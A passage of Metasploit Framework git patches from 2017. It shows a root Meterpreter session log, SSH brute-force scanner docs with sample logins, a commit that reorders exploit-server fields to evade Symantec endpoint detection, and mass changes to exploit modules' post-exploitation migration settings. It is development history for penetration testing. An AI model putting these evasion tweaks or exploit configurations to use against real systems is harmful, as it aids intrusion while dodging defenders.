target + [+] 10.1.1.191:80 - Target is vulnerable! + [*] Using URL: http://0.0.0.0:8080/BBRyjDtj81x3bTq + [*] Local IP: http://10.1.1.197:8080/BBRyjDtj81x3bTq + [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.191:56881) at 2017-02-21 23:59:33 -0500 + [*] Command Stager progress - 100.00% done (117/117 bytes) + [*] Server stopped. + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 10.1.1.191 + OS : (Linux 3.0.8) + Architecture : armv7l + Meterpreter : armle/linux + meterpreter > + ``` From e23e65ee5f904b7e456aa115aacc08f7ed11258b Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 23 Feb 2017 02:13:59 -0600 Subject: [PATCH 230/426] Fix msftidy's vars_get check for omitted parens Hat tip @bcoles. --- tools/dev/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index f61892baa2..1a1dd31912 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -618,7 +618,7 @@ class Msftidy end def check_vars_get - test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) + test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| info("Please use vars_get in send_request_cgi: #{item}") From af8e64958e5a47b6fe2a005db7b1ba91c90027f5 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Feb 2017 13:36:39 -0600 Subject: [PATCH 231/426] Small changes --- .../modules/auxiliary/scanner/ssh/ssh_login.md | 10 ++++++++-- .../modules/auxiliary/scanner/ssh/ssh_login_pubkey.md | 8 ++++++-- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md index fb73d0ab3b..1a1be86f02 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md @@ -12,7 +12,9 @@ 4. Do: `set rhosts` 5. Do: set usernames and passwords via any of the available options 5. Do: `run` - 6. You will hopefully see something similar to: `[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '`, and a shell opened. + 6. You will hopefully see something similar to, followed by a session: + + ````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` ## Options @@ -54,7 +56,11 @@ **VERBOSE** - Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following: `[-] SSH - Failed: 'msfadmin:virtual'` + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following: + + ``` + [-] SSH - Failed: 'msfadmin:virtual' + ``` ## Option Combinations diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md index 02f61850f3..7804533e78 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md @@ -19,7 +19,11 @@ 6. Do: set usernames with one of the available options 7. Do: `set KEY_PATH ` to either a file or path 7. Do: `run` - 8. You will hopefully see something similar to: `[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY-----`, and a shell opened. + 8. You will hopefully see something similar to the following: + + ``` + [+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- + ``` ## Options @@ -134,4 +138,4 @@ AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ [*] Command shell session 1 opened (192.168.2.117:44179 -> 192.168.2.156:22) at 2017-02-22 22:08:11 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -``` \ No newline at end of file +``` From e3f613ecc641a0d54dcf6f2ee067d0253484230f Mon Sep 17 00:00:00 2001 From: Jeff Tang <mrjefftang@users.noreply.github.com> Date: Wed, 22 Feb 2017 13:22:03 -0500 Subject: [PATCH 232/426] Bypass: Metasploit OS detection SEP is triggering on HTTP POSTs which start with `os_name` --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a99147dd1c..26be956a1b 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -430,7 +430,6 @@ module Msf window.onload = function() { var osInfo = os_detect.getVersion(); var d = { - "os_name" : osInfo.os_name, "os_vendor" : osInfo.os_vendor, "os_device" : osInfo.os_device, "ua_name" : osInfo.ua_name, @@ -439,7 +438,8 @@ module Msf "java" : misc_addons_detect.getJavaVersion(), "silverlight" : misc_addons_detect.hasSilverlight(), "flash" : misc_addons_detect.getFlashVersion(), - "vuln_test" : <%= js_vuln_test %> + "vuln_test" : <%= js_vuln_test %>, + "os_name" : osInfo.os_name }; <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> From 1ca0a24177d82870639f8e6de3c80c3860c50136 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Feb 2017 15:58:19 -0600 Subject: [PATCH 233/426] Up rex-exploitation --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index dd54d76c16..931a6b4ff2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -248,7 +248,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.10) + rex-exploitation (0.1.11) jsobfu metasm rex-arch From 5d0b532b20a4c86ee4f43a053a72a76bef9b7e19 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Feb 2017 17:04:36 -0600 Subject: [PATCH 234/426] Fix #8002, Use post/windows/manage/priv_migrate instead of migrate -f Because migrate -f uses a meterpreter script, and meterpreter scripts are deprecated, we should be replacing with a post module Fix #8002 --- modules/exploits/windows/browser/adobe_cooltype_sing.rb | 2 +- modules/exploits/windows/browser/adobe_flash_avm2.rb | 2 +- .../windows/browser/adobe_flash_filters_type_confusion.rb | 2 +- modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb | 2 +- modules/exploits/windows/browser/adobe_flash_otf_font.rb | 2 +- modules/exploits/windows/browser/adobe_flash_regex_value.rb | 2 +- modules/exploits/windows/browser/adobe_flash_rtmp.rb | 2 +- modules/exploits/windows/browser/adobe_flash_sps.rb | 2 +- .../windows/browser/adobe_flashplayer_arrayindexing.rb | 2 +- modules/exploits/windows/browser/adobe_flashplayer_avm.rb | 2 +- .../exploits/windows/browser/adobe_flashplayer_flash10o.rb | 2 +- .../exploits/windows/browser/adobe_flashplayer_newfunction.rb | 2 +- .../windows/browser/adobe_shockwave_rcsl_corruption.rb | 2 +- .../windows/browser/advantech_webaccess_dvs_getcolor.rb | 2 +- .../exploits/windows/browser/aladdin_choosefilepath_bof.rb | 2 +- .../windows/browser/apple_quicktime_marshaled_punk.rb | 2 +- modules/exploits/windows/browser/apple_quicktime_mime_type.rb | 2 +- modules/exploits/windows/browser/apple_quicktime_rdrf.rb | 2 +- .../exploits/windows/browser/apple_quicktime_smil_debug.rb | 2 +- .../windows/browser/apple_quicktime_texml_font_table.rb | 2 +- modules/exploits/windows/browser/asus_net4switch_ipswcom.rb | 2 +- modules/exploits/windows/browser/aventail_epi_activex.rb | 2 +- .../exploits/windows/browser/blackice_downloadimagefileurl.rb | 2 +- .../windows/browser/c6_messenger_downloaderactivex.rb | 2 +- modules/exploits/windows/browser/cisco_playerpt_setsource.rb | 2 +- .../exploits/windows/browser/cisco_playerpt_setsource_surl.rb | 2 +- modules/exploits/windows/browser/citrix_gateway_actx.rb | 2 +- modules/exploits/windows/browser/clear_quest_cqole.rb | 2 +- .../exploits/windows/browser/crystal_reports_printcontrol.rb | 2 +- modules/exploits/windows/browser/dell_webcam_crazytalk.rb | 2 +- modules/exploits/windows/browser/enjoysapgui_comp_download.rb | 2 +- modules/exploits/windows/browser/firefox_smil_uaf.rb | 2 +- .../exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 2 +- .../windows/browser/honeywell_hscremotedeploy_exec.rb | 2 +- .../windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 2 +- .../windows/browser/hp_easy_printer_care_xmlcachemgr.rb | 2 +- .../windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb | 2 +- modules/exploits/windows/browser/hyleos_chemviewx_activex.rb | 2 +- modules/exploits/windows/browser/ibm_spss_c1sizer.rb | 2 +- .../exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb | 2 +- modules/exploits/windows/browser/ie_cbutton_uaf.rb | 2 +- modules/exploits/windows/browser/ie_cgenericelement_uaf.rb | 2 +- modules/exploits/windows/browser/ie_execcommand_uaf.rb | 2 +- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 2 +- .../exploits/windows/browser/imgeviewer_tifmergemultifiles.rb | 2 +- .../browser/indusoft_issymbol_internationalseparator.rb | 2 +- modules/exploits/windows/browser/inotes_dwa85w_bof.rb | 2 +- modules/exploits/windows/browser/intrust_annotatex_add.rb | 2 +- modules/exploits/windows/browser/java_docbase_bof.rb | 2 +- modules/exploits/windows/browser/java_mixer_sequencer.rb | 2 +- modules/exploits/windows/browser/mcafee_mvt_exec.rb | 2 +- .../exploits/windows/browser/mozilla_attribchildremoved.rb | 2 +- .../windows/browser/mozilla_firefox_onreadystatechange.rb | 2 +- modules/exploits/windows/browser/mozilla_interleaved_write.rb | 2 +- modules/exploits/windows/browser/mozilla_mchannel.rb | 2 +- modules/exploits/windows/browser/mozilla_nssvgvalue.rb | 2 +- modules/exploits/windows/browser/mozilla_nstreerange.rb | 2 +- modules/exploits/windows/browser/mozilla_reduceright.rb | 2 +- modules/exploits/windows/browser/ms05_054_onload.rb | 2 +- .../exploits/windows/browser/ms09_002_memory_corruption.rb | 2 +- modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb | 2 +- modules/exploits/windows/browser/ms10_002_ie_object.rb | 2 +- modules/exploits/windows/browser/ms10_018_ie_behaviors.rb | 2 +- .../exploits/windows/browser/ms10_018_ie_tabular_activex.rb | 2 +- .../exploits/windows/browser/ms10_026_avi_nsamplespersec.rb | 2 +- modules/exploits/windows/browser/ms10_090_ie_css_clip.rb | 2 +- modules/exploits/windows/browser/ms11_003_ie_css_import.rb | 2 +- .../windows/browser/ms11_050_mshtml_cobjectelement.rb | 2 +- modules/exploits/windows/browser/ms11_081_option.rb | 2 +- modules/exploits/windows/browser/ms11_093_ole32.rb | 2 +- modules/exploits/windows/browser/ms12_004_midi.rb | 2 +- modules/exploits/windows/browser/ms12_037_ie_colspan.rb | 2 +- modules/exploits/windows/browser/ms12_037_same_id.rb | 2 +- .../exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb | 2 +- .../windows/browser/ms13_022_silverlight_script_object.rb | 2 +- modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb | 2 +- modules/exploits/windows/browser/ms13_055_canchor.rb | 2 +- .../exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 2 +- modules/exploits/windows/browser/ms13_069_caret.rb | 2 +- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 2 +- .../windows/browser/ms13_090_cardspacesigninhelper.rb | 2 +- modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb | 2 +- modules/exploits/windows/browser/ms14_012_textrange.rb | 2 +- .../windows/browser/msxml_get_definition_code_exec.rb | 2 +- .../exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb | 2 +- modules/exploits/windows/browser/ntr_activex_check_bof.rb | 2 +- modules/exploits/windows/browser/ntr_activex_stopmodule.rb | 2 +- .../exploits/windows/browser/oracle_autovue_setmarkupmode.rb | 2 +- .../windows/browser/oracle_webcenter_checkoutandopen.rb | 2 +- modules/exploits/windows/browser/ovftool_format_string.rb | 2 +- modules/exploits/windows/browser/pcvue_func.rb | 2 +- modules/exploits/windows/browser/quickr_qp2_bof.rb | 2 +- modules/exploits/windows/browser/realplayer_qcp.rb | 2 +- modules/exploits/windows/browser/safari_xslt_output.rb | 2 +- .../windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb | 2 +- .../windows/browser/siemens_solid_edge_selistctrlx.rb | 2 +- .../windows/browser/synactis_connecttosynactis_bof.rb | 2 +- modules/exploits/windows/browser/teechart_pro.rb | 2 +- modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb | 2 +- .../exploits/windows/browser/ultramjcam_openfiledig_bof.rb | 2 +- .../exploits/windows/browser/viscom_movieplayer_drawtext.rb | 2 +- modules/exploits/windows/browser/vlc_amv.rb | 2 +- modules/exploits/windows/browser/vlc_mms_bof.rb | 2 +- modules/exploits/windows/browser/webex_ucf_newobject.rb | 2 +- .../windows/browser/wellintech_kingscada_kxclientdownload.rb | 2 +- modules/exploits/windows/browser/wmi_admintools.rb | 2 +- .../windows/browser/x360_video_player_set_text_bof.rb | 2 +- .../exploits/windows/browser/zenworks_helplauncher_exec.rb | 2 +- modules/exploits/windows/fileformat/adobe_cooltype_sing.rb | 2 +- .../exploits/windows/fileformat/adobe_flashplayer_button.rb | 2 +- .../windows/fileformat/adobe_flashplayer_newfunction.rb | 2 +- modules/exploits/windows/fileformat/adobe_libtiff.rb | 4 ++-- modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb | 2 +- .../exploits/windows/fileformat/esignal_styletemplate_bof.rb | 2 +- modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb | 2 +- .../windows/fileformat/ms11_006_createsizeddibsection.rb | 2 +- modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb | 2 +- .../exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 2 +- modules/exploits/windows/http/cogent_datahub_command.rb | 2 +- modules/exploits/windows/http/cyclope_ess_sqli.rb | 2 +- .../exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb | 2 +- .../exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovas.rb | 2 +- modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb | 2 +- .../exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb | 2 +- modules/exploits/windows/misc/citrix_streamprocess.rb | 2 +- .../exploits/windows/misc/citrix_streamprocess_data_msg.rb | 2 +- .../misc/citrix_streamprocess_get_boot_record_request.rb | 2 +- .../exploits/windows/misc/citrix_streamprocess_get_footer.rb | 2 +- .../exploits/windows/misc/citrix_streamprocess_get_objects.rb | 2 +- modules/exploits/windows/misc/itunes_extm3u_bof.rb | 2 +- modules/exploits/windows/misc/sap_netweaver_dispatcher.rb | 2 +- modules/exploits/windows/misc/splayer_content_type.rb | 2 +- modules/exploits/windows/misc/stream_down_bof.rb | 2 +- .../windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb | 2 +- modules/exploits/windows/mysql/scrutinizer_upload_exec.rb | 2 +- modules/exploits/windows/scada/daq_factory_bof.rb | 2 +- .../exploits/windows/scada/iconics_webhmi_setactivexguid.rb | 2 +- modules/exploits/windows/scada/moxa_mdmtool.rb | 2 +- modules/exploits/windows/scada/scadapro_cmdexe.rb | 2 +- modules/exploits/windows/scada/winlog_runtime.rb | 2 +- 141 files changed, 142 insertions(+), 142 deletions(-) diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 39112c8f94..ee0bd5ed76 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 20550092a5..89371513f5 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index 7d18fb3de6..4630fa186b 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false, 'EXITFUNC' => "thread" }, diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 3e0b780952..4574cbf54b 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 4f831045aa..14e13e7d70 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index 3d5fea3c40..d9586cbf27 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 84bc9cf971..37ea120c5a 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index b2d3ce686c..d87f5ffc0e 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index 3c0a8c62b0..b74acc6da8 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index b20663ea80..9f12cf5b73 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index cab570badc..1df3b951d3 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index 325a1669b1..bbb6dc6312 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index d27e4c3fdd..ff232b7c98 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb index 6e83a0298d..3c521b78fa 100644 --- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index ab8329aab8..56e2aa86f0 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'BrowserRequirements' => diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index 7432c5f21f..db438aa329 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index da040e12fd..b9090e0eb1 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index c7f952df5b..c96a2f1133 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 22 2013" diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 0e8c2c5918..c3c7b99591 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index ec9ff0db78..fad9da943f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 19c103ab84..39ab4c48ff 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index 29a01fdafe..fb643ab937 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index f883eb72e4..9264fdf53f 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index 9936fc912d..5a80c34faf 100644 --- 